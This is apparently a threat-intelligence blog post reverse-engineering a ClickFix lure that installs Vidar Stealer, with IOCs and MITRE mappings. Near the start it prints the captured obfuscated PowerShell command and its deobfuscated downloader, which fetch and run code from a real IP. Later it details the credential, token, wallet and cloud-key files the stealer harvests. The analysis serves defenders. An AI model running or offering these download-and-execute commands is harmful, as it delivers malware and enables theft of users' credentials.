Analysis of a ClickFix malware attack


Code flow
Clickfix technique in the wild
This case was found by Blue Cyber Threat Intelligence during our hunting.
The technique used to trick users into executing malware is known as Clickfix. This type of attack exploits the psychological fatigue some users experience when repeatedly encountering error messages. In a typical scenario, the attacker mimics a legitimate error prompt and instructs the user to perform certain actions—such as opening the Run dialog and pasting a command into it. However, that command is actually crafted to download and execute malware on the victim’s machine.
While the method is technically simple, its impact can be severe. This is because the user themselves becomes the one who initiates the malicious execution, effectively bypassing many conventional security measures. Furthermore, some security products and endpoint defenders lack clipboard monitoring capabilities, making it significantly harder to detect and prevent this type of attack in real time.
Analyze ClickFix payload
I opened my clipboard and found the following code in it.
powershell powershell.exe -w minimized powershell -C {& (dir \W*\*32\c??l.e*).Name
"http://91[.]212.166.204/7564243512.txt" | iex}
What it does is make a curl
request to the URL http://91[.]212.166.204/7564243512.txt
, which contains another PowerShell script. It then executes it with iex
.
Here is the deobfuscated and renamed PowerShell code:
iex http://91[.]212.166.204/reservation.pdf
http://91[.]212.166.204/Twinkle.exe;
$pathToAppData = $env: AppData;
function Download($url, $pathToFile) {
curl $url - o $pathToFile
};
function callCurlCommand($cWEW) {
Download $cWEW $pathToFile
}
$pathToFile = $pathToAppData + '\reservation.pdf';
callCurlCommand $deobPowershell.SubString(3, 37) $pathToFile;
ii $pathToPdfFile;
$pathToFile = $env: AppData + '\Twinkle.exe';
callCurlCommand $deobPowershell.SubString(40, 33);
start $pathToFile;;
What it does is attempt to download two files — Twinkle.exe
and reservation.pdf
— both stored inside %APPDATA%. It then opens the .pdf
file with the ii
command, which stands for Invoke-Item
, and executes Twinkle.exe
. I have checked the PDF file and didn’t find anything suspicious, so our main focus will be on Twinkle.exe
.
Analyze Twinkle.exe
By using Detect It Easy, I was able to identify the type of packer used and the programming language used to build the malware.
So, Inno Setup version 6.4.2 was used to pack the file with password protection. You can use the latest version of InnoExtract
to extract it, but it will eventually fail due to the password protection. I don’t think you can brute-force a malware password with any known wordlist, but you can extract it by following the method in the blog post linked below. I also tried to read the install_script.iss
file to understand what it does.
This malware works as an installer that attempts to extract itself into %APPDATA%
and create a folder named DEEE7B38-1859-44E3-BD5E-C9B49C21D221
. To extract the malware, run it in a sandbox, navigate to that folder, and you will find the malware. However, I wanted to understand what it does, so I tried to debug it.
The code will attempt to create a randomly named folder inside C:\Users\<username>\AppData\Local\Temp\
.
The folder will have the prefix is-
and the suffix .tmp
, with random characters in between. Inside it is another file named Twinkle.tmp
. This file is actually an AeroAdmin application, and its hash came back clean, which was confusing. However, after digging a bit deeper during debugging, I discovered that the folder existed for a reason — the AeroAdmin application was trying to unpack Twinkle.exe
using the following command:
"C:\Users\<redacted>\AppData\Local\Temp\is-E547K.tmp\Twinkle.tmp" "$C0346,8872240,867840,C:\Users\<redacted>\Downloads\Twinkle.exe" /VERYSILENT
What it does is run an Inno Setup command to extract data from Twinkle.exe and then execute it in silent mode. After that, it deletes every folder with the is-
prefix. I followed the code, and here is the folder tree of the malware:
Analyze AeroAdmin malware the hard way
This is a legitimate application with the same functionality as Remote Desktop but has shellcode embedded. At first, I suspected it might contain a command to silently connect to the sandbox I was using, but I couldn’t find anything. I also tried using BinDiff to compare the real version with the fake one, but didn’t find anything interesting either. So I decided to debug it, and after a long tracing session—and quite a bit of frustration—one of our team leaders discovered shellcode hidden inside acrt_initialize
. I continued debugging and found a concerning amount of heavily obfuscated, self-modifying code. After tracing it 5–6 times, I finally located the shellcode.
Since the shellcode was heavily obfuscated, I decided to analyze the malware by monitoring its API calls to better understand its behavior.
Analyze AeroAdmin malware the smart way?
When I ran the malware, I observed that it spawned a process named AppLaunch
. I also read a report from Any.run
indicating that this process contains the actual malware. Everything before that is just preparation, which leads me to believe that it may be using Process Hollowing or Process Injection to inject the malware into the AppLaunch
process.
This time, I executed the malware using Hollows_hunter, a tool developed by Hasherezade
, a well-known expert in the malware analysis field. The tool produced the following results:
The folder contains shellcode along with a packed .NET executable file.
I analyzed both shellcodes and confirmed that they match the shellcode previously retrieved from IDA. This confirms that the malware executes the shellcode, which subsequently runs another PE file — a .NET executable. Additionally, I found the string “This program cannot be run in DOS mode.”, indicating the presence of a Windows PE file.
Extracting it yields the same file that Hollows_hunter retrieved. Opening it with dnSpy for analysis revealed something particularly interesting.
The code attempts to decrypt its embedded resource, which is revealed to be a DLL file. It then proceeds to load the DLL and invoke a function from it. However, the DLL is heavily obfuscated using control flow obfuscation and packed with NetReactor. Rather than spending time manually unpacking the code, I loaded the .NET PE file into x32dbg and placed multiple breakpoints on relevant APIs.
Eventually, the breakpoint set at CreateProcessA
was triggered, resulting in the creation of a subprocess named AppLaunch
.
While tracing the execution, the breakpoint at WriteProcessMemory
was triggered, allowing me to capture another PE file.
Upon dumping and analyzing the new PE file, I determined that the malware’s final payload is Vidar Stealer.
In fact, another method to retrieve the file is to use Hollows_hunter to scan the AppLaunch process, which will give you the final payload.
Analyze Vidar Stealer
Anti sandbox
First, the malware checks if the username is JohnDoe
and the computer name is HAL9TH
. If so, the main function of the malware will not run.
Assign ID and name for the infected computer.
After that, the malware assigns the name "approve_april" to the stealer. This name is later used in calls to OpenEventA
and CreateEventA
for anti-duplication technique
It then gives the infected computer a botnet name.
After that, the malware generates a hardware ID (HWID) for the machine using a multi-step hashing process based on the system’s volume serial number.
The algorithm behind this technique can be found in here. This HWID will be used to identify the computer in communications with C2.
Retrieve C2 server
This malware employs a technique of hosting its Command and Control (C2) server on platforms such as Telegram and even Steam. It then leverages certain methods to parse and extract the malware’s active Command and Control address.
By reviewing various reports on the reverse engineering of Vidar Stealer, it has been observed that such malware variants often embed their C2 address directly within a Steam username. Leveraging Steam in this way serves as a form of obfuscation, cleverly concealing the malware’s Command and Control server from casual inspection.
Sending data to C2 server
During our analysis, we found that the malware sends data to its C2 server, possibly using the ZIP compression algorithm.
Compare to 7-zip compress algorithm we can see the similar in both the code.
Information crawl
The malware will start to crawl multiple types of data from the infected computer. The following data are what it tries to retrieve:
Data | Method |
Version | custom hash |
Date | use GetLocalTime |
MachineId | use RegOpenKeyExA at SOFTWARE\\\\Microsoft\\\\Cryptography\\\\MachineGuid |
GUID | use GetCurrentHwProfileA |
HWID | custom HWID with random hash |
Execute path | use K32GetModuleFileNameExA |
Work Dir | Hard code string “In memory” |
Windows | use RegOpenKeyExA at SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\ProductName |
Install Date | Hard code string “Disabled” |
AV | Hard code string “Disabled” |
Computer Name | use GetComputerNameA |
User name | use GetUserNameA |
Display Resolution | use CreateDCA and GetDeviceCaps |
Keyboard languages | use GetLocaleInfoA |
Local time | GetLocalTime |
Timezone | GetTimeZoneInformation |
Processor | open HARDWARE\\\\DESCRIPTION\\\\System\\\\CentralProcessor\\\\0\\\\ProcessorNameString |
Cores | use GetLogicalProcessorInformationEx |
Threads (Number of CPU cores) | use GetSystemInfo |
RAM | use GlobalMemoryStatusEx |
Video card | use EnumDisplayDevicesA |
Processes | Search for all running processes |
Installed Software | open SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall and DisplayName and DisplayVersion |
After crawl all the data it will then save it at information.txt
compress the file and send it back to C2 server It then also retrieves the paths of multiple folders, such as %DESKTOP
, %APPDATA%
, %LOCALAPPDATA%
, %USERPROFILE%
, %DOCUMENTS%
, %PROGRAMFILES%
, %PROGRAMFILES_86%
, %RECENT%
. The purpose of this function is to enable another layer of data crawling.
Browser crawling
The malware then tries to search for and identify multiple types of browsers such as Chrome, Opera, and Firefox. During the analysis, I found that the malware does not try to read the data directly. The malware tries to compress the files and sends them back to the C2 server.
Chrome crawling
After locating the path to Chrome
, the malware will then start to crawl data from multiple files and folders.
During its execution, the malware collects data from various components of the Chrome/Brave browsers, including the following files and folders:
Browser configuration file:
Local State
: contains encryption information (such as theencrypted_key
) used to decrypt data stored in SQLite files.
Extension folders:
Local Extension Settings\\{extension_id}\\CURRENT
: stores local data of each extension.Sync Extension Settings\\{extension_id}\\CURRENT
: contains synchronized data of the extension across devices.
IndexedDB folders:
Folders with the prefix
**chrome-extension_**
and suffix**_0.indexeddb.leveldb**
: store key-value data used by extensions.The
CURRENT
file inside these folders is an important metadata file that determines the current state of the LevelDB database.
Main SQLite files of the browser:
Login Data
: stores usernames and passwords (encrypted).Cookies
: contains login sessions, JWTs, and access tokens.Web Data
: stores auto-fill data such as emails, phone numbers, addresses, etc.History
: contains recent website browsing history.
Next, it proceeds to decrypt the encrypted_key of Chrome.
In cases where the victim’s machine has the Brave browser installed, the malware performs process injection by decoding another executable file encoded in base64 into the brave.exe
process. After successful code injection, the program proceeds to decrypt the app_bound_encrypted_key
— the key used to protect sensitive data in recent Brave versions.
After obtaining the AES key, the program scans the system and searches for files with the following prefixes to extract user data related to browsing history, cookies, and autofill information:
Files ending with
_webdata.db
, which contain autofill and form data.Files ending with
_history.db
, which record browsing history and site visits.Files ending with
_cookies.db
, which store cookies and session tokens.
Opera crawling
It uses literally the same method as Chrome.
Firefox crawling
The program accesses and extracts data from the following files:
profiles.ini
: Used to retrieve information about the user profiles stored in the Firefox browser.prefs.js
: Contains user settings and preferences configured within Firefox.Strings matching the pattern
moz-extension+++
: Utilized to locate and identify installed Firefox extensions.key4.db
: Stores the master key that is essential for encrypting and decrypting sensitive browser data.cookies.sqlite
: Holds the browser’s cookie data, including session and tracking cookies.formhistory.sqlite
: Records the history of form inputs that the user has entered.logins.json
: Contains saved login credentials and passwords stored by the browser.places.sqlite
andhistory.db
: Store detailed browsing history and records of visited websites.
Together, these files provide comprehensive access to user data, preferences, and browsing behavior within Firefox, which can be critical for data analysis or forensic investigations.
WinSCP extract
The malware accesses the registry key Software\\\\Martin Prikryl\\\\WinSCP 2\\\\Configuration
and reads data from keys such as Security
and UseMasterPassword
.
For the data in the Security
key, this location contains encrypted information related to login credentials such as usernames, passwords, and hostnames. Meanwhile, the UseMasterPassword
key is used to determine whether the user has enabled a master password.
The function then attempts to locate the registry path for Sessions
within the same parent registry key as WinSCP 2
. If the path is found and accessible, it attempts to retrieve user and host credentials.
It collects user-related data such as:
Hostname
Port number
Username
Password
Finally, the gathered information is saved into a file named passwords.txt
. At the very beginning of this file, there is a string Soft: SCP
indicate the content of the file. The file is then compressed using a specialized algorithm before being sent back to the C2 server.
FileZilla extract
The malware searches for and reads the recentservers.xml
file located in the %AppData%
directory.
This file is used to store data related to user data and login information. The malware parses the XML file to right format and processes data such as hostname
, username
, and password
.
The data is written into the file passwords.txt
with the following content:
Soft
: FileZillaHost
:Login
:Password
:
Compress passswords.txt
file and send it back to C2.
Monero Project extract
The malware opens the registry key SOFTWARE\\\\monero-project\\\\monero-core
and searches for data in values such as wallet_path
. It also searches for files named wallets.key
and additionally looks for files with the .keys
extension.
If the file is found, the program does not decrypt it but compresses it and then sends it back to the C2 server.
Download and Stager
Additionally, the malware has a method to download files, likely saving them into C://ProgramData//<Random name>
. The downloaded files are of two types: DLL or EXE files.
If the downloaded file is a DLL, it is executed using rundll32; in the case of an EXE file, ShellExecuteExW
is used to run it.
Crawl disk
The program enumerates and scans files across all available drives by using the GetDriveTypeA
API.
It specifically targets:
DRIVE_FIXED
– internal hard drives (HDD/SSD)DRIVE_REMOVABLE
– removable storage devices (e.g., USB flash drives, external HDDs)
This means it searches through both permanent internal storage and connected external drives
In case a file is found, the malware will compress it and send it back to the C2 server.
Steam crawling
At startup, the program determines whether Steam is running on the user's system, and if detected, it retrieves and returns Steam's process ID.
Once the process ID is obtained, the program calls the OpenProcess
API and searches the process's memory for a specific hex pattern using functions such as ReadProcessMemory
.
Decode the hex, and we retrieve the following data:
eyAidHlwIjogIkpXVCIs
Which corresponds to the following data:
{ "typ": "JWT",
It can be concluded that it searches for a JWT in the memory of the steam.exe
process and looks for a pattern named N0ZWFt
. After completing the search, the program appears to attempt to locate the file Soft\\\\Steam\\\\steam_tokens.txt
.
The program then compresses that file and sends it back to the C2. It is possible that this file contains data related to the Game Server Login Token. I also found an analysis post about Vidar, which included a section related to crawling Steam.
The program then proceeds to locate the Steam folder by reading data from the registry key Software\\\\Valve\\\\Steam
. It retrieves the value of SteamPath
and appends \\\\config\\\\
to the end of the path
After obtaining Steam’s configuration files, the program searches for, collects, and compresses these files before sending them to its command-and-control (C2) server. The collected files are intended to extract login credentials and user configuration data, including:
ssfn*
– Critical files that allow bypassing Steam Guard two-factor authentication. If an attacker obtains these files along with the account username, they can log in to the victim’s Steam account without needing the security code sent to email or phone.config.vdf
– Contains the main Steam user configuration, including the auto-login username (AutoLoginUser
) and certain sensitive encryption keys that can be used to decrypt other stored information.DialogConfig.vdf
– Stores settings related to Steam’s dialog boxes and user interface. While less sensitive, these files can still be used to replicate the victim’s UI experience or behavior.DialogConfigOverlay*.vdf
– Related to Steam’s in-game overlay interface, containing settings that may reveal information about the user or games currently being played.libraryfolders.vdf
– Lists the library folders where games are installed. This helps an attacker pinpoint the exact locations of installed games or software on the victim’s system.loginusers.vdf
– Stores information about all Steam accounts that have logged in on the device, including SteamID, nickname, and whether password saving or auto-login is enabled.
Discord crawling
First, the program locates and retrieves the path to Discord Desktop by using APIs such as SHGetFolderPathA
. It then appends additional subdirectories, such as \\Local Storage\\leveldb\\CURRENT
, in order to access and read the CURRENT
file used by Discord.
This file typically contains metadata that can point to stored LevelDB
databases, which may hold user-related information such as authentication tokens or session data.
First, the program scans for tokens that match a specific prefix.
Searching on the Internet reveals that Discord tokens often begin with the string dQw4w9WgXcQ
— a signature pattern that can be used to quickly identify and extract them from stored files or memory.
This approach allows the malware to pinpoint potential authentication tokens without needing to parse the entire dataset, making the exfiltration process faster and more efficient.
Next, it is highly likely that after collecting the user’s tokens, the program saves them into the file \\\\Soft\\\\Discord\\\\tokens.txt
, compresses the file, and then sends it back to the Command and Control (C2) server.
Telegram crawl
The program then navigates to the Telegram Desktop directory to locate the key_datas
file — a critical file that contains sensitive information such as the auth_key
. In this stage, the program primarily focuses on traversing folders or files, reading their contents, compressing the collected data, and finally transmitting it back to the Command and Control (C2) server.
Other targeted files and folders include D877F783D5D3EF8C*
, map*
, A7FDF864FBC10B77*
, A92DAA6EA6F891F2*
, and F8806DD0C461824F*
. All of these are read, compressed, and then exfiltrated to the Command and Control (C2) server — most likely to facilitate session hijacking, allowing the attacker to take over active user sessions without needing credentials.
Azure and AWS crawl
The program then continues by locating files and folders related to Azure, such as Azure\\\\.azure
, which contains sensitive information. Inside this directory, several critical files can be found, including:
accessTokens.json
: Stores OAuth2 access tokens.azureProfile.json
: Contains details about the tenant and subscription ID.token_cache.json
: A cache storing refresh tokens and ID tokens.
After that the malware will compress the file and send it back to the C2
Files within Azure\\\\.aws
are also targeted. This directory contains valuable AWS configuration data, such as:
credentials
: Stores theaws_access_key_id
andaws_secret_access_key
, which can be used to authenticate and access AWS resources.config
: Contains default profiles, regions, and other AWS CLI configuration settings.
Other files such as \\\\.IdentityService\\\\
, msal.cache
, and Azure\\\\.IdentityService
are also considered high-value targets for credential theft.
For the Azure\\\\.IdentityService
directory:
May contain: Access tokens, refresh tokens, or active session details used by applications that rely on MSAL (Microsoft Authentication Library).
Commonly used by: Office 365, Microsoft Teams, OneDrive, Visual Studio Code, Azure SDK, and other Microsoft services.
For the msal.cache
file:
Contains: Cached authentication data from the Microsoft MSAL library, typically generated during OAuth2 logins.
Associated applications include: Visual Studio, Azure CLI, Office 365, Outlook, OneDrive, and other Microsoft products that integrate with Azure Active Directory.
Self deletion
Delete crawled files
The program begins deleting related files in C://ProgramData
by calling the SHGetFolderPathA
function.
Next, the program checks for files whose names are six characters or fewer in length and consist entirely of uppercase letters. If a match is found, it proceeds to delete the file using the SHFileOperationA
function with the flags FOF_SILENT | FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_NOCONFIRMMKDIR
, effectively performing a silent deletion without displaying any confirmation or error dialogs.
Self deletion
After that the malware will then start to delete itself by using the following powershell command
C:\\\\Windows\\\\system32\\\\cmd.exe /c timeout /t 11 & del /f /q "<final payload path>"
& rd /s /q "C:\\\\ProgramData\\\\<random storage>" & exit
No persistence method was found during the analysis
IOC and MITRE ATT&CK
Command and control server
List of file
Twinkle.exe | 3529ce2a664cb63b3c59a50c55ff145bc2aed18dcd0760c3f8947d603fa07241 |
AeroAdmin.exe | 91d36aba44f576a421b75d5c109ff85db4b5f2bc093fec4a13c48f025fb68540 |
Zcwee.exe | 2d3549349405934590c1e9985a4e58e6b8b15171273bdb483014a300d8a034d1 |
Vhank.dll | 7af14617978c2362b7790b8f05863e43e78fc01276a1c4f6d2edd894f849c0a2 |
Vidar_final_payload.bin | a8b3a81814617f9a6c872d406d433520f58159073421750372ef6d0025b0402a |
Mitre Attack Technique
Reconnaissance (TA0043)
a. T1592: Gather Victim Host Information
Execution (TA0002)
a. T1204.002: Malicious File
Privilege Escalation (TA0004)
a. T1055: Process Injection
Defense Evasion (TA0005)
a. T1622: Debugger Evasion
b. T1497: Virtualization/Sandbox Evasion
c. T1140: Deobfuscate/Decode Files or Information
d. T1564.001: Hidden Files and Directories
Discovery (TA0007)
a. T1622: Debugger Evasion
b. T1497: Virtualization/Sandbox Evasion
c. T1083: File and Directory Discovery
Command and Control (TA0011)
a. T1071.001: Web Protocols
Exfiltration (TA0010)
a. T1041: Exfiltration Over C2 Channel
References
Analyze Vidar Stealer. Access date 11/8/2025 on https://thetrueartist.co.uk/index.php/2025/02/01/reverse-engineering-and-cataloging-vidar-info-stealer-loader/
Telegram session hijacking. Access date 11/8/2025 on https://s4u2self.cc/telegram-session-hijacking.md
Discord token pattern. Access date 11/8/2025 on https://www.libhunt.com/posts/688520-discord-easter-egg-all-encrypted-discord-tokens-begin-with-dqw4w9wgxcq-which-is-the-ending-part-of-the-rick-astley-s-never-gonna-give-you-up-youtube-link-youtube-com-watch-dqw4w9wgxcq
7-zip source code. Access date 11/8/2205 on https://github.com/stefankueng/CryptSync/blob/main/lzma/CPP/7zip/Crypto/ZipCrypto.cpp
Volumne hash. Access date 11/8/2205 on https://www.picussecurity.com/resource/blog/stealc-v2-malware-enhances-stealth-and-expands-data-theft-features
Any.run analyze Twinkle.exe. Access date 11/8/2205 on https://app.any.run/tasks/53e3ccc5-48d2-4739-9008-6f1640a3a888
Analyze Vidar stealer. Access date 11/8/2025 on https://github.com/ZAYOTEM/malware-analysis-reports/blob/main/Vidar-Stealer/en/vidar-stealer-en.pdf
Inno Extract passsword cracking. Access date 11/8/2025 on https://medium.com/@gdesmar/crack-any-password-protected-innosetup-installer-5daabb52dbfb
Bonus
Here is the bruteforce api algorithm that the shellcode use
def calculate_hash(data: bytes) -> int:
v3 = 0
for b in data:
v2 = b
v3 = (v2 + ((v3 << 19) | (v3 >> 13))) & 0xFFFFFFFF
return (v3 ^ 0xCD7840B0) & 0xFFFFFFFF
def main():
apiData = {
"kernel32.dll" : [""],
"ntdll.dll" : [""],
"user32.dll" : [""],
"advapi32.dll" : [""],
}
target = [] # hex value
found = {}
for hash in target:
for library, apiList in apiData.items():
for api in apiList:
if not api:
continue
apiHash = calculate_hash(api.encode('utf-8'))
if (hash == apiHash):
found[hash] = f"{library}!{api}"
for hash, api in found.items():
print(f"{hex(hash)} : {api}")
if __name__ == "__main__":
main()
Subscribe to my newsletter
Read articles from Khắc Minh directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
